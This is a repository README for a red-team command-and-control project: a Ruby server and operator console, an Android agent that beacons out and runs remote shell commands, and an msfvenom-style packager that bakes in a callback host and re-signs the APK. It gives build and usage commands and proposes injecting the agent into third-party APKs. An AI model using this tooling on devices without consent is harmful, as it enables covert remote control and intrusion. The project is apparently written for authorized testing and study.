# NezhaAPKExploit **Repository Path**: ctkqiang/NezhaAPKExploit ## Basic Information - **Project Name**: NezhaAPKExploit - **Description**: 一个自研的 C2(命令与控制)链路研究项目:Ruby 编写指挥中心(服务器 + 操作员终端),Jetpack Compose 编写 Android 后台探针(agent),并配套 msfvenom 风格的一键打包器。整套代码用于学习 C2 通信协议、TCP 粘包/半包处理、前台服务保活、APK 配置注入与重签名 等红队工程概念。 - **Primary Language**: Kotlin - **License**: Not specified - **Default Branch**: main - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2026-09-03 - **Last Updated**: 2026-09-03 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # NezhaAPKExploit 一个自研的 **C2(命令与控制)链路研究项目**:Ruby 编写指挥中心(服务器 + 操作员终端),Jetpack Compose 编写 Android 后台探针(agent),并配套 msfvenom 风格的一键打包器。整套代码用于学习 **C2 通信协议、TCP 粘包/半包处理、前台服务保活、APK 配置注入与重签名** 等红队工程概念。 > ⚠️ **授权声明** > 本项目仅用于 **自有设备 / 明确授权的渗透测试靶场** 的安全研究与教学。 > agent 不含自启动、隐藏图标等持久化行为,界面常驻「仅限授权测试」提示。请勿在任何非授权设备上安装或使用本项目产物。 --- ## 目录 - [1. 能力总览](#1-能力总览) - [2. 架构总览](#2-架构总览) - [3. 目录结构](#3-目录结构) - [4. 线协议规范](#4-线协议规范) - [5. 通信模型(pull / 心跳拉取)](#5-通信模型pull--心跳拉取) - [6. 环境要求](#6-环境要求) - [7. 快速开始](#7-快速开始) - [8. 操作员终端命令](#8-操作员终端命令) - [9. Android Agent 设计](#9-android-agent-设计) - [10. 打包器(msfvenom 风格)](#10-打包器msfvenom-风格) - [11. 配置索引](#11-配置索引) - [12. 故障排查](#12-故障排查) - [13. 设计取舍与扩展方向](#13-设计取舍与扩展方向) --- ## 1. 能力总览 | 能力 | 说明 | 位置 | |------|------|------| | C2 监听服务器 | TCP 接入、会话管理、帧重组、超时回收、优雅停机 | `c2/server.rb` | | 会话命令层 | 命令入队 / 打包 `CMD_SEND` / 收拢 `CMD_REPLY` | `c2/meterpreter.rb` | | 操作员终端 | `sessions` / `send` / `help` / `exit` | `console/operator_console.rb` | | 二进制线协议 | 13B 帧头 + 变长 body + 2B 校验和 | `c2/codec.rb` / Kotlin `C2Protocol.kt` | | 统一日志 | 时间戳 + 级别(debug/info/warn/error)、线程安全 | `c2/logger.rb` | | Android agent | Compose UI + 前台服务长连、shell 命令执行、断线重连 | `apk/` | | 打包器 | 配置注入 + 重签名,秒级产出 APK | `tools/packager.rb` | --- ## 2. 架构总览 ``` ┌───────────────────────────────────────────────┐ │ Ruby 指挥中心 │ │ │ 操作员终端 ────────▶│ operator_console.rb (sessions / send) │ (operator) │ │ │ │ ▼ │ │ meterpreter.rb ── 命令队列/打包 ──────────┐ │ │ │ │ │ │ ▼ │ │ │ server.rb ── 帧重组/派发/回收 ──┐ │ │ │ │ ▼ │ │ │ ├── session_manager.rb ◀── session_pool │ │ │ └── codec.rb · opcodes.rb · logger.rb │ │ └──────────────┬────────────────────────────────┘ │ │ TCP :4444 │ ┌──────────────▼────────────────────────────────┐ │ │ Android agent (apk/) │ │ │ │ ▼ │ BeaconService (前台服务, 常驻) │ │ └── C2Client.run { 心跳 & 收命令 } │ │ ├── C2Protocol (Kotlin 同款编解码) │ │ └── CommandExecutor (/system/bin/sh) │ │ MainActivity (Compose: 状态 + 开关) │ └───────────────────────────────────────────────┘ ``` 两个端维护**同一本协议手册的两份翻译**:Ruby 的 `c2/codec.rb` 与 Kotlin 的 `C2Protocol.kt`,逐字节对齐。 --- ## 3. 目录结构 ``` NezhaAPKExploit/ ├── main.rb # 入口:解析 [host] [port] → 起服务 + 控制台 ├── c2/ │ ├── server.rb # 监听、接入、帧重组、派发、优雅停机 │ ├── session_manager.rb # 会话池(SID 分配、增删、超时回收) │ ├── agent_session.rb # 单会话:socket/sid/设备信息/线程安全命令队列 │ ├── meterpreter.rb # 会话命令层:execute / build_pending_frames / on_reply │ ├── codec.rb # 帧编解码 + checksum 校验(协议权威定义) │ ├── packet.rb # 帧模型(session_id/opcode/timestamp/body/checksum) │ ├── opcodes.rb # 指令码常量 │ └── logger.rb # 全局线程安全日志(级别 + 时间戳) ├── console/ │ └── operator_console.rb # 操作员终端 ├── models/ │ └── apk_file.rb # APK 元数据模型(预留评级/分析) ├── tools/ │ ├── packager.rb # msfvenom 风格打包器 │ └── nezha-keys/ # 首次运行自动生成的签名密钥(勿外泄) └── apk/ # Android 工程(Jetpack Compose) └── app/src/main/ ├── AndroidManifest.xml ├── java/com/nezha/agent/ │ ├── MainActivity.kt # Compose UI + auto_start 逻辑 │ ├── core/ │ │ ├── C2Protocol.kt # 协议编解码(与 Ruby 对齐) │ │ ├── C2Client.kt # 连接/握手/心跳/命令处理 │ │ ├── CommandExecutor.kt # shell 执行(超时+输出上限) │ │ ├── AgentStatus.kt # Service↔UI 共享状态 │ │ └── C2Config.kt # 读取 assets/c2.properties │ └── service/ │ └── BeaconService.kt # 前台服务(通知 + 生命周期) └── res/ # 主题 / 图标 / 字符串 ``` --- ## 4. 线协议规范 ### 4.1 帧格式 ``` ┌─────────────────────────────────────────────────────┐ │ header (13B) │ body (变长) │ checksum │ │ sid(4) op(1) ts(4) len(4) │ │ (2B) │ └─────────────────────────────────────────────────────┘ ``` | 字段 | 类型 | 字节数 | 说明 | |------|------|-------|------| | session_id | `uint32` LE | 4 | 会话标识(客户端握手帧可填 0) | | opcode | `uint8` | 1 | 指令码,见 [opcodes.rb](c2/opcodes.rb) | | timestamp | `uint32` LE | 4 | Unix 秒级时间戳 | | body_len | `uint32` LE | 4 | body 字节数 | | body | bytes | `body_len` | 载荷 | | checksum | `uint16` LE | 2 | `sum(header + body) & 0xFFFF` | `HEADER_SIZE` 由 pack 格式推导(`[0,0,0,0].pack("L C L L").bytesize == 13`),杜绝“声明尺寸与实际尺寸不一致”类协议 bug。 ### 4.2 指令码 | 常量 | 值 | 方向 | 含义 | |------|----|------|------| | `HANDSHAKE` | 0x01 | agent → server | body 为 `设备名\|系统版本` | | `BEACON` | 0x02 | agent → server | 心跳;server 借机派发积压指令 | | `CMD_SEND` | 0x03 | server → agent | body 为待执行 shell 命令 | | `CMD_REPLY` | 0x04 | agent → server | body 为 `exit=N\n<输出>` | | `FILE_UPLOAD` | 0x05 | — | 预留:文件上传 | | `FILE_DOWNLOAD` | 0x06 | — | 预留:文件下载 | | `DISCONNECT` | 0xff | 双向 | 主动断开会话 | ### 4.3 服务端帧重组策略 TCP 是字节流而非消息流,因此服务端实现了增量重组: 1. 收满 `HEADER_SIZE(13B)` 后才解析 body_len; 2. `frame_size = HEADER_SIZE + body_len + CHECKSUM_SIZE`; 3. 缓冲不足 `frame_size` 视为**半包**,保留等待下个 recv; 4. 缓冲可容纳整帧时**循环切帧**,一次处理多个**粘包**; 5. 单连接缓冲上限 `MAX_BUFFER_BYTES = 1 MiB`,超限即断开,防止恶意半包撑爆内存。 --- ## 5. 通信模型(pull / 心跳拉取) 设备大多没有公网地址、网络状态不稳定,服务器无法主动“推”数据,因此采用 **agent 主动心跳拉取** 模型: ``` Android agent Ruby Server │ ① 启动 → TCP 连接 │ │─────────────────────────────────▶│ accept → 分配 SID=1 │ ② HANDSHAKE "Pixel7|Android15" │ │─────────────────────────────────▶│ │ ③ BEACON(每 3s) │ │─────────────────────────────────▶│ heartbeat │ │ │ 操作员输入: send 1 whoami │ meterpreter.execute(1,"whoami") │ │ → 压入会话命令队列 │ ④ 下一次 BEACON │ │─────────────────────────────────▶│ 从队列取命令 → 回写 │◀──────── CMD_SEND ──────────────│ │ ⑤ CommandExecutor 执行 │ │──── CMD_REPLY(exit=0\nroot) ───▶│ 打印结果 ``` **Android 端实现要点**:`C2Client` 在单线程阻塞循环中 `send BEACON → 阻塞读帧`;用 `socket.soTimeout = 3000ms` 使读帧超时后回到下一轮心跳。这样既能及时处理 `CMD_SEND`,又不会因长阻塞漏发心跳。 --- ## 6. 环境要求 | 组件 | 版本 | 备注 | |------|------|------| | Ruby | ≥ 3.0 | 无第三方 gem 依赖 | | Android SDK | platform 35 / build-tools ≥ 30 | 打包器自动探测 | | JDK | 17 | 构建 Android / keytool 签名 | | Gradle | 8.6+(AGP 8.6.1 配套) | 也可直接用 Android Studio | | `zip` / `unzip` | 系统自带 | 打包器使用 | --- ## 7. 快速开始 ### 7.1 启动 Ruby 指挥中心 ```bash # 默认监听 0.0.0.0:4444 ruby main.rb # 指定监听地址/端口 ruby main.rb 0.0.0.0 5555 ``` ### 7.2 构建 Android 模板 APK ```bash # 方式一:命令行(本机已验证) cd apk export JAVA_HOME=<你的 JDK17 路径> gradle :app:assembleDebug # 方式二:Android Studio 打开 apk/ 目录后 Run ``` 产物:`apk/app/build/outputs/apk/debug/app-debug.apk`(即打包器的默认模板)。 ### 7.3 打包你的专属 agent APK ```bash ruby tools/packager.rb --host 192.168.1.5 --port 4444 -o agent.apk ``` ### 7.4 端到端联调 ```bash # 终端 A:指挥中心 ruby main.rb # 终端 B:打包指向本机(模拟器用 10.0.2.2,真机用局域网 IP) ruby tools/packager.rb --host 10.0.2.2 --port 4444 --auto-start -o demo.apk # 安装 demo.apk 到授权测试机 → 打开 App(auto_start 时自动回连) # 终端 A 应输出: # [2026-09-03 17:30:45] INFO New agent connected SID=1 # [2026-09-03 17:30:45] INFO SID=1 handshake: Pixel7 / Android 15 c2 > sessions c2 > send 1 whoami c2 > # 数秒后看到 agent 回传执行结果 ``` --- ## 8. 操作员终端命令 | 命令 | 说明 | |------|------| | `help` | 显示帮助 | | `sessions` | 列出在线会话(SID / 设备 / 系统 / 空闲秒数) | | `send ` | 向会话下发命令(入队,等下次 BEACON 派发) | | `exit` | 退出控制台 | 服务器日志走统一 `Log` 模块:`[时间戳] LEVEL 消息`;`error` 级写入 `STDERR`,便于 `2>error.log` 分离。 --- ## 9. Android Agent 设计 ### 9.1 为什么是“前台服务” Android 8.0+ 对后台服务限制严格,因此 agent 以 **`startForegroundService` + `foregroundServiceType="dataSync"`** 方式运行,常驻一条可见通知(Android 13+ 需 `POST_NOTIFICATIONS` 运行时权限)。 ### 9.2 生命周期 ``` MainActivity (用户点击/auto_start) │ startAgent(host, port) ▼ BeaconService.onStartCommand(ACTION_START) ├─ startForeground(通知) ├─ C2Client.run { running } ← Dispatchers.IO 协程 │ ├─ 连接/握手/心跳/收命令/断线重连(2s) │ └─ CommandExecutor 执行 /system/bin/sh -c ▼ BeaconService.onStartCommand(ACTION_STOP) / onDestroy ├─ running=false → 主循环退出 ├─ client.close() → socket 关闭解阻塞 └─ scope.cancel() ``` `C2Client` 关键参数见 `companion object`:BEACON 间隔 3s、连接超时 5s、断线重连 2s。命令执行有 20s 超时与 64 KiB 输出上限,防止命令失控。 ### 9.3 配置注入(C2Config) agent 启动时读取 `assets/c2.properties`: ```properties c2.host=10.0.2.2 c2.port=4444 c2.auto_start=false ``` - **打包期**由 `packager.rb` 整体替换该文件; - **运行期**仍可在 UI 输入框覆盖; - `c2.auto_start=true` 时,打开 App 即自动请求通知权限并拉起服务(对应 msfvenom 样本的“装上即上线”行为); - UI 顶部常驻「仅限授权测试设备使用」横幅。 --- ## 10. 打包器(msfvenom 风格) ### 10.1 参数映射 | 本工具 | msfvenom | 含义 | |--------|----------|------| | `--host` | `LHOST` | C2 服务器地址 | | `--port` | `LPORT` | C2 端口 | | `--auto-start` | payload 行为 | 打开 App 即自动回连 | ### 10.2 CLI ```bash ruby tools/packager.rb \ --host 192.168.1.5 \ --port 4444 \ --template apk/app/build/outputs/apk/debug/app-debug.apk \ --auto-start \ --output out/agent.apk ``` ### 10.3 内部流水线 1. 复制模板 APK; 2. 用新的 `assets/c2.properties` 更新 zip 条目(不触碰 dex → 无需重编译); 3. 剥离 `META-INF/*.{SF,RSA,DSA,MF}` 旧签名条目; 4. `zipalign -f -p 4`(v2 签名必须在对齐后); 5. `apksigner sign`:首次自动用 `keytool` 生成 RSA-2048 自签密钥(`tools/nezha-keys/nezha.keystore`,别名 `nezha`),可用 `--keystore` 复用; 6. `apksigner verify --print-certs` 校验输出。 --- ## 11. 配置索引 | 项 | 位置 | 默认 | 说明 | |----|------|------|------| | 监听端口 | `main.rb` | `4444` | `DEFAULT_PORT`,或命令行参数覆盖 | | 缓冲上限 | `c2/server.rb` | `1 MiB` | `MAX_BUFFER_BYTES` | | 心跳回收 | `c2/server.rb` | `30s / 120s` | `REAP_INTERVAL` / `STALE_TIMEOUT` | | BEACON 间隔 | `apk/.../C2Client.kt` | `3s` | `BEACON_INTERVAL_MS` | | 命令超时 | `apk/.../CommandExecutor.kt` | `20s` | `TIMEOUT_SECONDS` | | 输出上限 | `apk/.../CommandExecutor.kt` | `64 KiB` | `MAX_OUTPUT_BYTES` | | 签名口令 | `tools/packager.rb` | `nezha-lab` | `KEY_PASSWORD`,可自行修改 | | agent 默认地址 | `apk/.../assets/c2.properties` | `10.0.2.2:4444` | 模拟器回环宿主机的地址 | --- ## 12. 故障排查 | 现象 | 排查方向 | |------|----------| | `Address already in use` | 释放端口:`lsof -nP -iTCP:4444`,kill 残留进程 | | agent 一直 `reconnecting` | 服务器未启动;真机与服务器不同网段/防火墙拦截;模拟器要填 `10.0.2.2` | | `send` 后看不到结果 | pull 模型最长延迟一个 BEACON 周期(≤3s);命令 20s 超时视为失败 | | `protocol violation` | 对端发送了坏帧/校验失败,服务器自动断开该会话(防毒化) | | APK 装不上 | 签名被剥离后未重签;或覆盖安装时与旧包签名不一致,先卸载旧包 | | 打包器报找不到 SDK 工具 | 设置 `ANDROID_HOME`,或确认存在 `build-tools//` | | 多设备同时在线 | 每条连接独立线程 + 会话级 `cmd_queue`,互不干扰;SID 从 1 递增 | --- ## 13. 设计取舍与扩展方向 **已实现的取舍:** - 协议用**自定义二进制帧**而非 JSON——体积小、解析确定;代价是两端必须同步维护编解码(本仓库已用常量推导规避失配)。 - 命令执行放在 agent 侧单线程循环内串行处理,天然免锁;代价是同一会话命令不能并行。 - 服务端每会话一线程 + 全局回收线程,简单直观;极端规模下可换 event loop / select 模型。 - agent 刻意**不做**开机自启、图标隐藏、进程守护,降低被滥用的风险,也便于授权测试合规。 **可扩展方向:** - `FILE_UPLOAD` / `FILE_DOWNLOAD` 指令的实现(文件双向传输); - `meterpreter.rb` 增加 `use ` 进入单会话交互模式; - APK 静态评级器:解析 `AndroidManifest.xml` 权限与签名,输出风险分(对应 `models/apk_file.rb`); - 真正的注入模式:`--template` 指向任意第三方 APK,用 `apktool` 重打包注入 agent(msfvenom `-x` 玩法); - 为协议加入加密层(TLS / 自定义 XOR),并配合服务端白名单。 --- **免责声明**:本项目代码仅用于网络安全学习与授权测试。使用者须自行承担一切合规责任。